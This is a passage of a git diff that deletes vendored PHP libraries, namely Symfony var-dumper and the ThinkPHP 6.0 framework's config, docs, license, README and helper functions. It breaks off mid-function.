$sockets = [(int) $this->socket => $this->socket]; - $write = []; - - while (true) { - $read = $sockets; - stream_select($read, $write, $write, null); - - foreach ($read as $stream) { - if ($this->socket === $stream) { - $stream = stream_socket_accept($this->socket); - $sockets[(int) $stream] = $stream; - } elseif (feof($stream)) { - unset($sockets[(int) $stream]); - fclose($stream); - } else { - yield (int) $stream => fgets($stream); - } - } - } - } -} diff --git a/vendor/symfony/var-dumper/Test/VarDumperTestTrait.php b/vendor/symfony/var-dumper/Test/VarDumperTestTrait.php deleted file mode 100644 index 3d3d18e..0000000 --- a/vendor/symfony/var-dumper/Test/VarDumperTestTrait.php +++ /dev/null @@ -1,87 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Test; - -use Symfony\Component\VarDumper\Cloner\VarCloner; -use Symfony\Component\VarDumper\Dumper\CliDumper; - -/** - * @author Nicolas Grekas - */ -trait VarDumperTestTrait -{ - /** - * @internal - */ - private $varDumperConfig = [ - 'casters' => [], - 'flags' => null, - ]; - - protected function setUpVarDumper(array $casters, int $flags = null): void - { - $this->varDumperConfig['casters'] = $casters; - $this->varDumperConfig['flags'] = $flags; - } - - /** - * @after - */ - protected function tearDownVarDumper(): void - { - $this->varDumperConfig['casters'] = []; - $this->varDumperConfig['flags'] = null; - } - - public function assertDumpEquals($expected, $data, $filter = 0, $message = '') - { - $this->assertSame($this->prepareExpectation($expected, $filter), $this->getDump($data, null, $filter), $message); - } - - public function assertDumpMatchesFormat($expected, $data, $filter = 0, $message = '') - { - $this->assertStringMatchesFormat($this->prepareExpectation($expected, $filter), $this->getDump($data, null, $filter), $message); - } - - /** - * @return string|null - */ - protected function getDump($data, $key = null, $filter = 0) - { - if (null === $flags = $this->varDumperConfig['flags']) { - $flags = getenv('DUMP_LIGHT_ARRAY') ? CliDumper::DUMP_LIGHT_ARRAY : 0; - $flags |= getenv('DUMP_STRING_LENGTH') ? CliDumper::DUMP_STRING_LENGTH : 0; - $flags |= getenv('DUMP_COMMA_SEPARATOR') ? CliDumper::DUMP_COMMA_SEPARATOR : 0; - } - - $cloner = new VarCloner(); - $cloner->addCasters($this->varDumperConfig['casters']); - $cloner->setMaxItems(-1); - $dumper = new CliDumper(null, null, $flags); - $dumper->setColors(false); - $data = $cloner->cloneVar($data, $filter)->withRefHandles(false); - if (null !== $key && null === $data = $data->seek($key)) { - return null; - } - - return rtrim($dumper->dump($data, true)); - } - - private function prepareExpectation($expected, int $filter): string - { - if (!\is_string($expected)) { - $expected = $this->getDump($expected, null, $filter); - } - - return rtrim($expected); - } -} diff --git a/vendor/symfony/var-dumper/VarDumper.php b/vendor/symfony/var-dumper/VarDumper.php deleted file mode 100644 index febc1e0..0000000 --- a/vendor/symfony/var-dumper/VarDumper.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper; - -use Symfony\Component\VarDumper\Caster\ReflectionCaster; -use Symfony\Component\VarDumper\Cloner\VarCloner; -use Symfony\Component\VarDumper\Dumper\CliDumper; -use Symfony\Component\VarDumper\Dumper\ContextProvider\SourceContextProvider; -use Symfony\Component\VarDumper\Dumper\ContextualizedDumper; -use Symfony\Component\VarDumper\Dumper\HtmlDumper; - -// Load the global dump() function -require_once __DIR__.'/Resources/functions/dump.php'; - -/** - * @author Nicolas Grekas - */ -class VarDumper -{ - private static $handler; - - public static function dump($var) - { - if (null === self::$handler) { - $cloner = new VarCloner(); - $cloner->addCasters(ReflectionCaster::UNSET_CLOSURE_FILE_INFO); - - if (isset($_SERVER['VAR_DUMPER_FORMAT'])) { - $dumper = 'html' === $_SERVER['VAR_DUMPER_FORMAT'] ? new HtmlDumper() : new CliDumper(); - } else { - $dumper = \in_array(\PHP_SAPI, ['cli', 'phpdbg']) ? new CliDumper() : new HtmlDumper(); - } - - $dumper = new ContextualizedDumper($dumper, [new SourceContextProvider()]); - - self::$handler = function ($var) use ($cloner, $dumper) { - $dumper->dump($cloner->cloneVar($var)); - }; - } - - return (self::$handler)($var); - } - - public static function setHandler(callable $callable = null) - { - $prevHandler = self::$handler; - - // Prevent replacing the handler with expected format as soon as the env var was set: - if (isset($_SERVER['VAR_DUMPER_FORMAT'])) { - return $prevHandler; - } - - self::$handler = $callable; - - return $prevHandler; - } -} diff --git a/vendor/symfony/var-dumper/composer.json b/vendor/symfony/var-dumper/composer.json deleted file mode 100644 index 0a13e5e..0000000 --- a/vendor/symfony/var-dumper/composer.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "name": "symfony/var-dumper", - "type": "library", - "description": "Symfony mechanism for exploring and dumping PHP variables", - "keywords": ["dump", "debug"], - "homepage": "https://symfony.com", - "license": "MIT", - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "require": { - "php": ">=7.1.3", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php72": "~1.5", - "symfony/polyfill-php80": "^1.15" - }, - "require-dev": { - "ext-iconv": "*", - "symfony/console": "^3.4|^4.0|^5.0", - "symfony/process": "^4.4|^5.0", - "twig/twig": "^1.34|^2.4|^3.0" - }, - "conflict": { - "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0", - "symfony/console": "<3.4" - }, - "suggest": { - "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", - "ext-intl": "To show region name in time zone dump", - "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" - }, - "autoload": { - "files": [ "Resources/functions/dump.php" ], - "psr-4": { "Symfony\\Component\\VarDumper\\": "" }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "bin": [ - "Resources/bin/var-dump-server" - ], - "minimum-stability": "dev" -} diff --git a/vendor/topthink/framework/.gitignore b/vendor/topthink/framework/.gitignore deleted file mode 100644 index b267fba..0000000 --- a/vendor/topthink/framework/.gitignore +++ /dev/null @@ -1,7 +0,0 @@ -/vendor -composer.phar -composer.lock -.DS_Store -Thumbs.db -/.idea -/.vscode \ No newline at end of file diff --git a/vendor/topthink/framework/.travis.yml b/vendor/topthink/framework/.travis.yml deleted file mode 100644 index 73e6681..0000000 --- a/vendor/topthink/framework/.travis.yml +++ /dev/null @@ -1,34 +0,0 @@ -dist: xenial -language: php - -matrix: - fast_finish: true - include: - - php: 7.1 - - php: 7.2 - - php: 7.3 - -cache: - directories: - - $HOME/.composer/cache - -services: - - memcached - - redis-server - - mysql - -before_install: - - echo "extension = memcached.so" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini - - printf "\n" | pecl install -f redis - - travis_retry composer self-update - - mysql -e 'CREATE DATABASE test;' - -install: - - travis_retry composer update --prefer-dist --no-interaction --prefer-stable --no-suggest - -script: - - vendor/bin/phpunit --coverage-clover build/logs/coverage.xml - -after_script: - - travis_retry wget https://scrutinizer-ci.com/ocular.phar - - php ocular.phar code-coverage:upload --format=php-clover build/logs/coverage.xml \ No newline at end of file diff --git a/vendor/topthink/framework/CONTRIBUTING.md b/vendor/topthink/framework/CONTRIBUTING.md deleted file mode 100644 index efa3ad9..0000000 --- a/vendor/topthink/framework/CONTRIBUTING.md +++ /dev/null @@ -1,119 +0,0 @@ -如何贡献我的源代码 -=== - -此文档介绍了 ThinkPHP 团队的组成以及运转机制,您提交的代码将给 ThinkPHP 项目带来什么好处,以及如何才能加入我们的行列。 - -## 通过 Github 贡献代码 - -ThinkPHP 目前使用 Git 来控制程序版本,如果你想为 ThinkPHP 贡献源代码,请先大致了解 Git 的使用方法。我们目前把项目托管在 GitHub 上,任何 GitHub 用户都可以向我们贡献代码。 - -参与的方式很简单,`fork`一份 ThinkPHP 的代码到你的仓库中,修改后提交,并向我们发起`pull request`申请,我们会及时对代码进行审查并处理你的申请并。审查通过后,你的代码将被`merge`进我们的仓库中,这样你就会自动出现在贡献者名单里了,非常方便。 - -我们希望你贡献的代码符合: - -* ThinkPHP 的编码规范 -* 适当的注释,能让其他人读懂 -* 遵循 Apache2 开源协议 - -**如果想要了解更多细节或有任何疑问,请继续阅读下面的内容** - -### 注意事项 - -* 本项目代码格式化标准选用 [**PSR-2**](http://www.kancloud.cn/thinkphp/php-fig-psr/3141); -* 类名和类文件名遵循 [**PSR-4**](http://www.kancloud.cn/thinkphp/php-fig-psr/3144); -* 对于 Issues 的处理,请使用诸如 `fix #xxx(Issue ID)` 的 commit title 直接关闭 issue。 -* 系统会自动在 PHP 7.1 ~ 7.3 上测试修改,请确保你的修改符合 PHP 7.1 ~ 7.3 的语法规范; -* 管理员不会合并造成 CI faild 的修改,若出现 CI faild 请检查自己的源代码或修改相应的[单元测试文件](tests); - -## GitHub Issue - -GitHub 提供了 Issue 功能,该功能可以用于: - -* 提出 bug -* 提出功能改进 -* 反馈使用体验 - -该功能不应该用于: - - * 提出修改意见(涉及代码署名和修订追溯问题) - * 不友善的言论 - -## 快速修改 - -**GitHub 提供了快速编辑文件的功能** - -1. 登录 GitHub 帐号; -2. 浏览项目文件,找到要进行修改的文件; -3. 点击右上角铅笔图标进行修改; -4. 填写 `Commit changes` 相关内容(Title 必填); -5. 提交修改,等待 CI 验证和管理员合并。 - -**若您需要一次提交大量修改,请继续阅读下面的内容** - -## 完整流程 - -1. `fork`本项目; -2. 克隆(`clone`)你 `fork` 的项目到本地; -3. 新建分支(`branch`)并检出(`checkout`)新分支; -4. 添加本项目到你的本地 git 仓库作为上游(`upstream`); -5. 进行修改,若你的修改包含方法或函数的增减,请记得修改[单元测试文件](tests); -6. 变基(衍合 `rebase`)你的分支到上游 master 分支; -7. `push` 你的本地仓库到 GitHub; -8. 提交 `pull request`; -9. 等待 CI 验证(若不通过则重复 5~7,GitHub 会自动更新你的 `pull request`); -10. 等待管理员处理,并及时 `rebase` 你的分支到上游 master 分支(若上游 master 分支有修改)。 - -*若有必要,可以 `git push -f` 强行推送 rebase 后的分支到自己的 `fork`* - -*绝对不可以使用 `git push -f` 强行推送修改到上游* - -### 注意事项 - -* 若对上述流程有任何不清楚的地方,请查阅 GIT 教程,如 [这个](http://backlogtool.com/git-guide/cn/); -* 对于代码**不同方面**的修改,请在自己 `fork` 的项目中**创建不同的分支**(原因参见`完整流程`第9条备注部分); -* 变基及交互式变基操作参见 [Git 交互式变基](http://pakchoi.me/2015/03/17/git-interactive-rebase/) - -## 推荐资源 - -### 开发环境 - -* XAMPP for Windows 5.5.x -* WampServer (for Windows) -* upupw Apache PHP5.4 ( for Windows) - -或自行安装 - -- Apache / Nginx -- PHP 7.1 ~ 7.3 -- MySQL / MariaDB - -*Windows 用户推荐添加 PHP bin 目录到 PATH,方便使用 composer* - -*Linux 用户自行配置环境, Mac 用户推荐使用内置 Apache 配合 Homebrew 安装 PHP 和 MariaDB* - -### 编辑器 - -Sublime Text 3 + phpfmt 插件 - -phpfmt 插件参数 - -```json -{ - "autocomplete": true, - "enable_auto_align": true, - "format_on_save": true, - "indent_with_space": true, - "psr1_naming": false, - "psr2": true, - "version": 4 -} -``` - -或其他 编辑器 / IDE 配合 PSR2 自动格式化工具 - -### Git GUI - -* SourceTree -* GitHub Desktop - -或其他 Git 图形界面客户端 diff --git a/vendor/topthink/framework/LICENSE.txt b/vendor/topthink/framework/LICENSE.txt deleted file mode 100644 index 4e910bb..0000000 --- a/vendor/topthink/framework/LICENSE.txt +++ /dev/null @@ -1,32 +0,0 @@ - -ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 -版权所有Copyright © 2006-2019 by ThinkPHP (http://thinkphp.cn) -All rights reserved。 -ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 - -Apache Licence是著名的非盈利开源组织Apache采用的协议。 -该协议和BSD类似,鼓励代码共享和尊重原作者的著作权, -允许代码修改,再作为开源或商业软件发布。需要满足 -的条件: -1. 需要给代码的用户一份Apache Licence ; -2. 如果你修改了代码,需要在被修改的文件中说明; -3. 在延伸的代码中(修改和有源代码衍生的代码中)需要 -带有原来代码中的协议,商标,专利声明和其他原来作者规 -定需要包含的说明; -4. 如果再发布的产品中包含一个Notice文件,则在Notice文 -件中需要带有本协议内容。你可以在Notice中增加自己的 -许可,但不可以表现为对Apache Licence构成更改。 -具体的协议参考:http://www.apache.org/licenses/LICENSE-2.0 - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/topthink/framework/README.md b/vendor/topthink/framework/README.md deleted file mode 100644 index 6bb78e9..0000000 --- a/vendor/topthink/framework/README.md +++ /dev/null @@ -1,86 +0,0 @@ -![](https://box.kancloud.cn/5a0aaa69a5ff42657b5c4715f3d49221) - -ThinkPHP 6.0 -=============== - -[![Build Status](https://travis-ci.org/top-think/framework.svg?branch=6.0)](https://travis-ci.org/top-think/framework) -[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/top-think/framework/badges/quality-score.png?b=6.0)](https://scrutinizer-ci.com/g/top-think/framework/?branch=6.0) -[![Code Coverage](https://scrutinizer-ci.com/g/top-think/framework/badges/coverage.png?b=6.0)](https://scrutinizer-ci.com/g/top-think/framework/?branch=6.0) -[![Total Downloads](https://poser.pugx.org/topthink/framework/downloads)](https://packagist.org/packages/topthink/framework) -[![Latest Stable Version](https://poser.pugx.org/topthink/framework/v/stable)](https://packagist.org/packages/topthink/framework) -[![PHP Version](https://img.shields.io/badge/php-%3E%3D7.1-8892BF.svg)](http://www.php.net/) -[![License](https://poser.pugx.org/topthink/framework/license)](https://packagist.org/packages/topthink/framework) - -ThinkPHP6.0底层架构采用PHP7.1改写和进一步优化。 - -[官方应用服务市场](https://market.topthink.com) | [`ThinkPHP`开发者扶持计划](https://sites.thinkphp.cn/1782366) - -## 主要新特性 - -* 采用`PHP7`强类型(严格模式) -* 支持更多的`PSR`规范 -* 原生多应用支持 -* 系统服务注入支持 -* ORM作为独立组件使用 -* 增加Filesystem -* 全新的事件系统 -* 模板引擎分离出核心 -* 内部功能中间件化 -* SESSION机制改进 -* 日志多通道支持 -* 规范扩展接口 -* 更强大的控制台 -* 对Swoole以及协程支持改进 -* 对IDE更加友好 -* 统一和精简大量用法 - - -> ThinkPHP6.0的运行环境要求PHP7.1+。 - -## 安装 - -~~~ -composer create-project topthink/think tp -~~~ - -启动服务 - -~~~ -cd tp -php think run -~~~ - -然后就可以在浏览器中访问 - -~~~ -http://localhost:8000 -~~~ - -如果需要更新框架使用 -~~~ -composer update topthink/framework -~~~ - -## 文档 - -[完全开发手册](https://www.kancloud.cn/manual/thinkphp6_0/content) - -## 命名规范 - -`ThinkPHP6`遵循PSR-2命名规范和PSR-4自动加载规范。 - -## 参与开发 - -直接提交PR或者Issue即可 - -## 版权信息 - -ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 - -本项目包含的第三方源码和二进制文件之版权信息另行标注。 - -版权所有Copyright © 2006-2020 by ThinkPHP (http://thinkphp.cn) All rights reserved。 - -ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 - -更多细节参阅 [LICENSE.txt](LICENSE.txt) diff --git a/vendor/topthink/framework/composer.json b/vendor/topthink/framework/composer.json deleted file mode 100644 index 9afc513..0000000 --- a/vendor/topthink/framework/composer.json +++ /dev/null @@ -1,54 +0,0 @@ -{ - "name": "topthink/framework", - "description": "The ThinkPHP Framework.", - "keywords": [ - "framework", - "thinkphp", - "ORM" - ], - "homepage": "http://thinkphp.cn/", - "license": "Apache-2.0", - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - }, - { - "name": "yunwuxin", - "email": "448901948@qq.com" - } - ], - "require": { - "php": ">=7.1.0", - "ext-json": "*", - "ext-mbstring": "*", - "league/flysystem": "^1.0", - "league/flysystem-cached-adapter": "^1.0", - "psr/log": "~1.0", - "psr/container": "~1.0", - "psr/simple-cache": "^1.0", - "topthink/think-orm": "^2.0", - "topthink/think-helper": "^3.1.1" - }, - "require-dev": { - "mikey179/vfsstream": "^1.6", - "mockery/mockery": "^1.2", - "phpunit/phpunit": "^7.0" - }, - "autoload": { - "files": [], - "psr-4": { - "think\\": "src/think/" - } - }, - "autoload-dev": { - "psr-4": { - "think\\tests\\": "tests/" - } - }, - "minimum-stability": "dev", - "prefer-stable": true, - "config": { - "sort-packages": true - } -} diff --git a/vendor/topthink/framework/logo.png b/vendor/topthink/framework/logo.png deleted file mode 100644 index 25fd059..0000000 Binary files a/vendor/topthink/framework/logo.png and /dev/null differ diff --git a/vendor/topthink/framework/phpunit.xml.dist b/vendor/topthink/framework/phpunit.xml.dist deleted file mode 100644 index e20a133..0000000 --- a/vendor/topthink/framework/phpunit.xml.dist +++ /dev/null @@ -1,25 +0,0 @@ - - - - - ./tests - - - - - ./src/think - - - diff --git a/vendor/topthink/framework/src/helper.php b/vendor/topthink/framework/src/helper.php deleted file mode 100644 index 8b28998..0000000 --- a/vendor/topthink/framework/src/helper.php +++ /dev/null @@ -1,663 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -//------------------------ -// ThinkPHP 助手函数 -//------------------------- - -use think\App; -use think\Container; -use think\exception\HttpException; -use think\exception\HttpResponseException; -use think\facade\Cache; -use think\facade\Config; -use think\facade\Cookie; -use think\facade\Env; -use think\facade\Event; -use think\facade\Lang; -use think\facade\Log; -use think\facade\Request; -use think\facade\Route; -use think\facade\Session; -use think\Response; -use think\response\File; -use think\response\Json; -use think\response\Jsonp; -use think\response\Redirect; -use think\response\View; -use think\response\Xml; -use think\route\Url as UrlBuild; -use think\Validate; - -if (!function_exists('abort')) { - /** - * 抛出HTTP异常 - * @param integer|Response $code 状态码 或者 Response对象实例 - * @param string $message 错误信息 - * @param array $header 参数 - */ - function abort($code, string $message = '', array $header = []) - { - if ($code instanceof Response) { - throw new HttpResponseException($code); - } else { - throw new HttpException($code, $message, null, $header); - } - } -} - -if (!function_exists('app')) { - /** - * 快速获取容器中的实例 支持依赖注入 - * @param string $name 类名或标识 默认获取当前应用实例 - * @param array $args 参数 - * @param bool $newInstance 是否每次创建新的实例 - * @return object|App - */ - function app(string $name = '', array $args = [], bool $newInstance = false) - { - return Container::getInstance()->make($name ?: App::class, $args, $newInstance); - } -} - -if (!function_exists('bind')) { - /** - * 绑定一个类到容器 - * @param string|array $abstract 类标识、接口(支持批量绑定) - * @param mixed $concrete 要绑定的类、闭包或者实例 - * @return Container - */ - function bind($abstract, $concrete = null) - { - return Container::getInstance()->bind($abstract, $concrete); - } -} - -if (!function_exists('cache')) { - /** - * 缓存管理 - * @param string $name 缓存名称 - * @param mixed $value 缓存值 - * @param mixed $options 缓存参数 - * @param string $tag 缓存标签 - * @return mixed - */ - function cache(string $name = null, $value = '', $options = null, $tag = null) - { - if (is_null($name)) { - return app('cache'); - } - - if ('' === $value) { - // 获取缓存 - return 0 === strpos($name, '?') ? Cache::has(substr($name, 1)) : Cache::get($name); - } elseif (is_null($value)) { - // 删除缓存 - return Cache::delete($name); - } - - // 缓存数据 - if (is_array($options)) { - $expire = $options['expire'] ?? null; //修复查询缓存无法设置过期时间 - } else { - $expire = $options; - } - - if (is_null($tag)) { - return Cache::set($name, $value, $expire); - } else { - return Cache::tag($tag)->set($name, $value, $expire); - } - } -} - -if (!function_exists('config')) { - /** - * 获取和设置配置参数 - * @param string|array $name 参数名 - * @param mixed $value 参数值 - * @return mixed - */ - function config($name = '', $value = null) - { - if (is_array($name)) { - return Config::set($name, $value); - } - - return 0 === strpos($name, '?') ? Config::has(substr($name, 1)) : Config::get($name, $value); - } -} - -if (!function_exists('cookie')) { - /** - * Cookie管理 - * @param string $name cookie名称 - * @param mixed $value cookie值 - * @param mixed $option 参数 - * @return mixed - */ - function cookie(string $name, $value = '', $option = null) - { - if (is_null($value)) { - // 删除 - Cookie::delete($name); - } elseif ('' === $value) { - // 获取 - return 0 === strpos($name, '?') ? Cookie::has(substr($name, 1)) : Cookie::get($name); - } else { - // 设置 - return Cookie::set($name, $value, $option); - } - } -} - -if (!function_exists('download')) { - /** - * 获取\think\response\Download对象实例 - * @param string $filename 要下载的文件 - * @param string $name 显示文件名 - * @param bool $content 是否为内容 - * @param int $expire 有效期(秒) - * @return \think\response\File - */ - function download(string $filename, string $name = '', bool $content = false, int $expire = 180): File - { - return Response::create($filename, 'file')->name($name)->isContent($content)->expire($expire); - } -} - -if (!function_exists('dump')) { - /** - * 浏览器友好的变量输出 - * @param mixed $vars 要输出的变量 - * @return void - */ - function dump(...$vars) - { - ob_start(); - var_dump(...$vars); - - $output = ob_get_clean(); - $output = preg_replace('/\]\=\>\n(\s+)/m', '] => ', $output); - - if (PHP_SAPI == 'cli') { - $output = PHP_EOL . $output . PHP_EOL; - } else { - if (!extension_loaded('xdebug')) { - $output = htmlspecialchars($output, ENT_SUBSTITUTE); - } - $output = '
    ' . $output . '
    '; - } - - echo $output; - } -} - -if (!function_exists('env')) { - /** - * 获取环境变量值 - * @access public - * @param string $name 环境变量名(支持二级 .号分割) - * @param string $default 默认值 - * @return mixed - */ - function env(string $name = null, $default = null) - { - return Env::get($name, $default); - } -} - -if (!function_exists('event')) { - /** - * 触发事件 - * @param mixed $event 事件名(或者类名) - * @param mixed $args 参数 - * @return mixed - */ - function event($event, $args = null) - { - return Event::trigger($event, $args); - } -} - -if (!function_exists('halt')) { - /** - * 调试变量并且中断输出 - * @param mixed $vars 调试变量或者信息 - */ - function halt(...$vars) - { - dump(...$vars); - - throw new HttpResponseException(Response::create()); - } -} - -if (!function_exists('input')) { - /** - * 获取输入数据 支持默认值和过滤 - * @param string $key 获取的变量名 - * @param mixed $default 默认值 - * @param string $filter 过滤方法 - * @return mixed - */ - function input(string $key = '', $default = null, $filter = '') - { - if (0 === strpos($key, '?')) { - $key = substr($key, 1); - $has = true; - } - - if ($pos = strpos($key, '.')) { - // 指定参数来源 - $method = substr($key, 0, $pos); - if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) { - $key = substr($key, $pos + 1); - if ('server' == $method && is_null($default)) { - $default = ''; - } - } else { - $method = 'param'; - } - } else { - // 默认为自动判断 - $method = 'param'; - } - - return isset($has) ? - request()->has($key, $method) : - request()->$method($key, $default, $filter); - } -} - -if (!function_exists('invoke')) { - /** - * 调用反射实例化对象或者执行方法 支持依赖注入 - * @param mixed $call 类名或者callable - * @param array $args 参数 - * @return mixed - */ - function invoke($call, array $args = []) - { - if (is_callable($call)) { - return Container::getInstance()->invoke($call, $args); - } - - return Container::getInstance()->invokeClass($call, $args); - } -} - -if (!function_exists('json')) { - /** - * 获取\think\response\Json对象实例 - * @param mixed $data 返回的数据 - * @param int $code 状态码 - * @param array $header 头部 - * @param array $options 参数 - * @return \think\response\Json - */ - function json($data = [], $code = 200, $header = [], $options = []): Json - { - return Response::create($data, 'json', $code)->header($header)->options($options); - } -} - -if (!function_exists('jsonp')) { - /** - * 获取\think\response\Jsonp对象实例 - * @param mixed $data 返回的数据 - * @param int $code 状态码 - * @param array $header 头部 - * @param array $options 参数 - * @return \think\response\Jsonp - */ - function jsonp($data = [], $code = 200, $header = [], $options = []): Jsonp - { - return Response::create($data, 'jsonp', $code)->header($header)->options($options); - } -} - -if (!function_exists('lang')) { - /** - * 获取语言变量值 - * @param string $name 语言变量名 - * @param array $vars 动态变量值 - * @param string $lang 语言 - * @return mixed - */ - function lang(string $name, array $vars = [], string $lang = '') - { - return Lang::get($name, $vars, $lang); - } -} - -if (!function_exists('parse_name')) { - /** - * 字符串命名风格转换 - * type 0 将Java风格转换为C的风格 1 将C风格转换为Java的风格 - * @param string $name 字符串 - * @param int $type 转换类型 - * @param bool $ucfirst 首字母是否大写(驼峰规则) - * @return string - */ - function parse_name(string $name, int $type = 0, bool $ucfirst = true): string - { - if ($type) { - $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { - return strtoupper($match[1]); - }, $name); - - return $ucfirst ? ucfirst($name) : lcfirst($name); - } - - return strtolower(trim(preg_replace('/[A-Z]/', '_\\0', $name), '_')); - } -} - -if (!function_exists('redirect')) { - /** - * 获取\think\response\Redirect对象实例 - * @param string $url 重定向地址 - * @param int $code 状态码 - * @return \think\response\Redirect - */ - function redirect(string $url = '', int $code = 302): Redirect - { - return Response::create($url, 'redirect', $code); - } -} - -if (!function_exists('request')) { - /** - * 获取当前Request对象实例 - * @return Request - */ - function request(): \think\Request - { - return app('request'); - } -} - -if (!function_exists('response')) { - /** - * 创建普通 Response 对象实例 - * @param mixed $data 输出数据 - * @param int|string $code 状态码 - * @param array $header 头信息 - * @param string $type - * @return Response - */ - function response($data = '', $code = 200, $header = [], $type = 'html'): Response - { - return Response::create($data, $type, $code)->header($header); - } -} - -if (!function_exists('session')) { - /** - * Session管理 - * @param string $name session名称 - * @param mixed $value session值 - * @return mixed - */ - function session($name = '', $value = '') - { - if (is_null($name)) { - // 清除 - Session::clear(); - } elseif ('' === $name) { - return Session::all(); - } elseif (is_null($value)) { - // 删除 - Session::delete($name); - } elseif ('' === $value) { - // 判断或获取 - return 0 === strpos($name, '?') ? Session::has(substr($name, 1)) : Session::get($name); - } else { - // 设置 - Session::set($name, $value); - } - } -} - -if (!function_exists('token')) { - /** - * 获取Token令牌 - * @param string $name 令牌名称 - * @param mixed $type 令牌生成方法 - * @return string - */ - function token(string $name = '__token__', string $type = 'md5'): string - { - return Request::buildToken($name, $type); - } -} - -if (!function_exists('token_field')) { - /** - * 生成令牌隐藏表单 - * @param string $name 令牌名称 - * @param mixed $type 令牌生成方法 - * @return string - */ - function token_field(string $name = '__token__', string $type = 'md5'): string - { - $token = Request::buildToken($name, $type); - - return ''; - } -} - -if (!function_exists('token_meta')) { - /** - * 生成令牌meta - * @param string $name 令牌名称 - * @param mixed $type 令牌生成方法 - * @return string - */ - function token_meta(string $name = '__token__', string $type = 'md5'): string - { - $token = Request::buildToken($name, $type); - - return ''; - } -} - -if (!function_exists('trace')) { - /** - * 记录日志信息 - * @param mixed $log log信息 支持字符串和数组 - * @param string $level 日志级别 - * @return array|void - */ - function trace($log = '[think]', string $level = 'log') - { - if ('[think]' === $log) { - return Log::getLog(); - } - - Log::record($log, $level); - } -} - -if (!function_exists('url')) { - /** - * Url生成 - * @param string $url 路由地址 - * @param array $vars 变量 - * @param bool|string $suffix 生成的URL后缀 - * @param bool|string $domain 域名 - * @return UrlBuild - */ - function url(string $url = '', array $vars = [], $suffix = true, $domain = false): UrlBuild - { - return Route::buildUrl($url, $vars)->suffix($suffix)->domain($domain); - } -} - -if (!function_exists('validate')) { - /** - * 生成验证对象 - * @param string|array $validate 验证器类名或者验证规则数组 - * @param array $message 错误提示信息 - * @param bool $batch 是否批量验证 - * @param bool $failException 是否抛出异常 - * @return Validate - */ - function validate($validate = '', array $message = [], bool $batch = false, bool $failException = true): Validate - { - if (is_array($validate) || '' === $validate) { - $v = new Validate(); - if (is_array($validate)) { - $v->rule($validate); - } - } else { - if (strpos($validate, '.')) { - // 支持场景 - [$validate, $scene] = explode('.', $validate); - } - - $class = false !== strpos($validate, '\\') ? $validate : app()->parseClass('validate', $validate); - - $v = new $class(); - - if (!empty($scene)) { - $v->scene($scene); - } - } - - return $v->message($message)->batch($batch)->failException($failException); - } -} - -if (!function_exists('view')) { - /** - * 渲染模板输出 - * @param string $template 模板文件 - * @param array $vars 模板变量 - * @param int $code 状态码 - * @param callable $filter 内容过滤 - * @return \think\response\View - */ - function view(string $template = '', $vars = [], $code = 200, $filter = null): View - { - return Response::create($template, 'view', $code)->assign($vars)->filter($filter); - } -} - -if (!function_exists('display')) { - /** - * 渲染模板输出 - * @param string $content 渲染内容 - * @param array $vars 模板变量 - * @param int $code 状态码 - * @param callable $filter 内容过滤 - * @return \think\response\View - */ - function display(string $content, $vars = [], $code = 200, $filter = null): View - { - return Response::create($content, 'view', $code)->isContent(true)->assign($vars)->filter($filter); - } -} - -if (!function_exists('xml')) { - /** - * 获取\think\response\Xml对象实例 - * @param mixed $data 返回的数据 - * @param int $code 状态码 - * @param array $header 头部 - * @param array $options 参数 - * @return \think\response\Xml - */ - function xml($data = [], $code = 200, $header = [], $options = []): Xml - { - return Response::create($data, 'xml', $code)->header($header)->options($options); - } -} - -if (!function_exists('app_path')) { - /** - * 获取当前应用目录 - * - * @param string $path - * @return string - */ - function app_path($path = '') - { - return app()->getAppPath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); - } -} - -if (!function_exists('base_path')) { - /** - * 获取应用基础目录 - * - * @param string $path - * @return string - */ - function base_path($path = '') - { - return app()->getBasePath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); - } -} - -if (!function_exists('config_path')) { - /** - * 获取应用配置目录 - * - * @param string $path - * @return string - */ - function 